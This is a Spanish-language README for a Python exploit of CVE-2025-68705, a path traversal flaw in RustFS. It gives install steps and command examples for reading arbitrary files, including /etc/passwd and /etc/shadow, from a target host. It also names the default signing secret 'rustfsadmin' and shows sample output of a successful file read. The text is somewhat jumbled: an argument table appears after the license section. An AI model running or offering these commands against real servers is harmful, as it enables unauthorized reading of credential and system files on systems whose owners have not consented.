CVE-2025-68705 - Exploit de Path Traversal en RustFS

Descripción

Este script explota una vulnerabilidad de path traversal (CVE-2025-68705) en RustFS que permite leer archivos arbitrarios en el servidor.

Requisitos

Python 3.6+
Consulta requirements.txt para las dependencias

Instalación

git clone https://github.com/yourusername/CVE-2025-68705.git
cd CVE-2025-68705
pip install -r requirements.txt

Uso

python exp.py -H <host> -p <port> -f <file_path> [-s <secret>]

Argumentos requeridos

Argumento	Descripción
`-H, --host`	Dirección IP o nombre de host del objetivo
`-p, --port`	Número de puerto del objetivo
`-f, --file`	Ruta del archivo a leer (opcional con --check-only)

Argumentos opcionales

Ejemplos

Leer el archivo /etc/passwd

python exp.py -H 192.168.1.128 -p 9000 -f /etc/passwd

Leer /etc/shadow con desplazamiento y longitud personalizados

python exp.py -H 192.168.1.128 -p 9000 -f /etc/shadow -o 0 -l 1024

Usar clave secreta personalizada

python exp.py -H 192.168.1.128 -p 9000 -f /etc/hosts -s customsecret

Solo comprobar si el objetivo es vulnerable

python exp.py -H 192.168.1.128 -p 9000 --check-only

Leer un rango específico del archivo

python exp.py -H 192.168.1.128 -p 9000 -f /etc/passwd -o 100 -l 200

Ejemplo de salida

python ./exp.py -H 192.168.1.128 -p 19010 -f ../../../../etc/hosts -o 0 -l 100
[*] Target: 192.168.1.128:19010
[*] Secret: rustfsadmin
--------------------------------------------------
[*] Checking for CVE-2025-68705 vulnerability...
[*] Exploiting CVE-2025-68705 against 192.168.1.128:19010
[*] Reading file: ../../../../etc/passwd
[+] Target is VULNERABLE!
--------------------------------------------------
[*] Exploiting CVE-2025-68705 against 192.168.1.128:19010
[*] Reading file: ../../../../../../../../etc/hosts
[+] Successfully read file!

[+] File content (offset=0, length=100):
--------------------------------------------------
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastp

Licencia

Este proyecto está licenciado bajo la Licencia MIT - consulta el archivo LICENSE para más detalles.

`-s, --secret`	Clave secreta para la firma	`rustfsadmin`
`-o, --offset`	Desplazamiento de lectura del archivo	`0`
`-l, --length`	Número de bytes a leer	`4096`
`--check-only`	Solo comprobar si el objetivo es vulnerable	-

CVE-2025-68705

Más Populares